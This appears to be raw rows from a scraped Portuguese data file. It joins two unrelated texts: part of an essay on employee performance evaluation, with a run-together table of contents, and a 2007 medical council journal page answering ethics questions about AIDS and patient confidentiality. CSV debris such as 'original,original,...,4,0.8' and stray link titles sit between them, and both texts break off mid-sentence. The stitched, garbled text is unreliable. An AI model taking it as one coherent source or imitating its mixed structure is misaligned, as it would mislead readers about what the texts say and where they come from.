AVALIAÇÃO DE DESEMPENHO – ENQUADRAMENTO 2.1. O QUE È AVALIAÇÃO DE DESEMPENHO 3 2.2. OS PARTICIPANTES DO PROCESSO 3 2.2.1. O AVALIADOR 3 2.2.2. O AVALIADO 4 2.3. OBJECTIVOS DA AVALIAÇÃO DE DESEMPENHO 2.3.1. OBJETIVOS GERAIS 42.3.2. OBJETIVOS ESPECÍFICOS 5 2.4. PRESSUPOSTOS DA AVALIAÇÃO 2.4.1. DEFINIÇÃO DAS COMPETÊNCIAS 5 2.4.2. ANÁLISE DAS VARIÁVEIS 5 2.4.3. COMPROMETIMENTO 6 3. BENEFÍCIOS PARA OS AVALIADORES E AVALIADOS 4. AVALIAÇÃO GLOBAL DO DESEMPENHO 4.1. DEFINIÇÃO DE OBJECTIVOS 7 4.1.1. O QUE SÃO OBJECTIVOS 7 4.1.2. PRINCÍPIOS A CONSIDERAR NA DEFINIÇÃO DE OBJECTIVOS 7 4.1.3. COMO DEFINIR OBJECTIVOS 8 4.1.4. COMOAVALIAR OS OBJECTIVOS 10 4.2. AVALIAÇÃO PRÉVIA DO DESEMPENHO 10 4.3. AUTO-AVALIAÇÃO 11 4.4. ENTREVISTA 4.4.1 REGRAS A CONSIDERAR 4.5. HARMONIZAÇÃO DAS AVALIAÇÕES 4.6. INFORMAÇÕES RESULTANTES 5. MÉTODOS PARA AVALIAÇÃO DE DESEMPENHO 5.1. MÉTODOS TRADICIONAIS 5.1.1. PONTOS CRÍTICOS E DESVANTAGENS 5.1.2. PRINCIPAIS ERROS 5.2. AVALIAÇÃO POR COMPETÊNCIAS 5.2.1. METODOLOGIA 6. CONSIDERAÇÕES FINAIS 7.CONCEITOS CHAVE 8. BIBLIOGRAFIA 12 12 13 13 14 15 15 17 18 19 19 2 11 +Actualmente as instituições procuram “avaliar para evoluir” e resgatar o que é mais humano nas pessoas, ou seja: o conhecimento, a criatividade, a sensibilidade e o seu compromisso. De acordo com FISCHER (2004), a ideia de um “modelo de gestão” é de desenvolvimento mútuo, ou seja, a organização, aodesenvolver-se, desenvolve pessoas e estas, a organização. É importante que a empresa encontre dispositivos de avaliação mais efectivos que gerem resultados amplos e duradouros para a instituição e para a própria pessoa, de acordo com os objectivos organizacionais, tais como: o Planeamento Estratégico, a Avaliação Institucional, o Programa de Certificação e a Implantação da Carreira dos funcionários. Surgiuentão a Avaliação de Desempenho que foi originalmente estruturada para mensurar o desempenho e o potencial do funcionário, tratando-se de uma avaliação sistemática, feita pelos supervisores ou outros hierarquicamente superiores familiarizados com as rotinas e demandas do trabalho. Ela fornece aos colaboradores informações sobre a própria actuação, de forma que possam aperfeiçoá-la sem diminuir a suaindependência e motivação para a realização do trabalho. O desempenho reflectese no sucesso da própria organização e talvez por isso é característica mais óbvia a ser medida. +4. AVALIAÇÃO DE DESEMPENHO – ENQUADRAMENTO +2.1. O QUE È AVALIAÇÃO DE DESEMPENHO +Avaliação de desempenho é a apreciação sistemática de um subordinado segundo um trabalho feito, suas aptidões e outras qualidades necessáriasà boa execução do seu trabalho. Esta ligada, frequentemente, mas não necessariamente, as vantagens financeiras a titulo de encorajamento. Para CHIAVENATO (1981), a Avaliação de Desempenho é uma sistemática apreciação de desempenho do indivíduo no cargo e do seu potencial de desenvolvimento e através da avaliação podem ser observadas e avaliadas competências como: visão estratégica, planeamento,organização, responsabilidade, acompanhamento, liderança, delegação, tomada de decisão, solução de problemas, iniciativa, proactividade, criatividade e inovação, orientação a resultados, auto-desenvolvimento, administração de conflitos, capacidade de negociação, flexibilidade e adaptação a mudanças, competências interpessoais e trabalho em equipa. +2.2. OS PARTICIPANTES DO PROCESSO +2.2.1. O... +Comportamento organizacional Estagio Esgotamento sanitario Estágio curricular i - ed. infantil O reconhecimento da uniao homoafetiva como entidade familiar Direito aplicado +{""essaysImgCd...",original,original,original,original,4,0.8 +"Encontros das entidades médicas: ações focam objetivos comuns em benefício da classe (JC impresso pág. 14) +BALANÇO 4 +Fóruns regulamentadores e programas Alerta Médico via web foram destaques (JC impresso pág. 15) +BALANÇO 5 +Simpósios, congressos, lançamentos de publicações: foram muitos os eventos nos últimos 15 meses (JC impresso pág. 16) +BALANÇO 6 +Jornal, revista, portais: comunicação espelha intensa atividade do Conselho (JC impresso pág. 17) +ALERTA ÉTICO +Alerta Ético: esclareça suas dúvidas sobre Aids e Sigilo (JC impresso pág. 18) +GERAL +Iamspe: negociações podem resultar na recuperação dos cargos desonerados (JC impresso pág. 19) +GALERIA DE FOTOS +Edição 238 - 06/2007 +ALERTA ÉTICO +Alerta Ético: esclareça suas dúvidas sobre Aids e Sigilo (JC impresso pág. 18) +Aids e sigilo +A dúvida do colega pode ser a sua! Confira as análises realizadas pelo Cremesp para prevenir falhas éticas causadas por mera desinformação +1) Doador de sangue tem parceiro que pertence a grupo “de risco” para a Aids. Posso orientar o primeiro a não doar, sem quebrar o sigilo? +Casal comparece a banco de sangue e, durante a triagem clínica, realizada de maneira individual, um dos parceiros revela comportamento de risco, sendo temporariamente rejeitado como doador. O outro é aprovado e realiza a doação de sangue. Em circunstâncias normais, por apresentar triagem sorológica negativa, receberia a “carteirinha de doador” – o que o tornaria apto a doações futuras. Como orientar esse doador sobre eventuais riscos da sua doação, sem quebrar o sigilo médico resultante da entrevista com o outro paciente? +Reconhecemos que se trata de situação bastante delicada: se por um lado há a necessidade de preservação dos pacientes que vão receber o sangue doado, existe também a preocupação de não se quebrar o sigilo profissional que tanto se preza no exercício da profissão médica. +A primeira atitude coerente corresponde a fazer o possível para convencermos o parceiro pertencente ao grupo “de risco”, a ser sincero com seu comunicante sexual, propiciando eventual ação preventiva àquele. +Caso não se tenha sucesso nesta empreitada – e desde logo acreditamos que não é difícil que isto aconteça – entendemos que o sangue do doador poderia ser utilizado, desde que seus testes sejam negativos (e também o do parceiro de risco). +Confira a íntegra do Parecer nº 21.117/00 +2) Como provar que esgotei todos os meios para convencer portador do HIV, identificado por doação de sangue, a revelar condição a parceiro sexual? +Também em relação a eventual resultado positivo para a Aids, obtido após triagem realizada por doação de sangue: como o médico prova, no caso de um processo judicial ou ético, que esgotou “todas as formas idôneas” para convencer o doador/paciente com sorologia positiva para HIV ou Hepatite B a revelar esta condição ao seu parceiro sexual? Deve pedir a seu paciente que assine um documento que demonstre que lhe foi solicitado revelar ao seu parceiro seu estado de portador? +A resposta é sim. Nesse documento deverá estar escrito que o médico esgotou seu poder de convencimento para que o resultado fosse revelado ao parceiro (a) e o documento só deverá existir se o paciente já de antemão se negar a contar ao seu parceiro (a). +Lembrando: se o médico tiver conhecimento de que o portador mantém comportamentos que colocam terceiros em risco, é seu dever, por justa causa, quebrar o sigilo no intuito de proteger o (a) outro (a). +Veja também a íntegra do Parecer nº 8784/01 +3) Médico pode liberar remédio antiaids a terceiros, quando o paciente está sob tutela do Estado? +Infectologista solicita esclarecimento sobre como proceder no caso de paciente soropositivo para o HIV recolhido no sistema prisional, em uso de terapia anti-retroviral, que, por não poder comparecer à consulta, pede à sua mãe que o substitua no momento de buscar a receita e o remédio. +É indiscutível: sempre que o médico solicitar, é necessária a presença do paciente à consulta. Porém, especificamente no tocante à liberação de...",original,original,original,original,4,0.8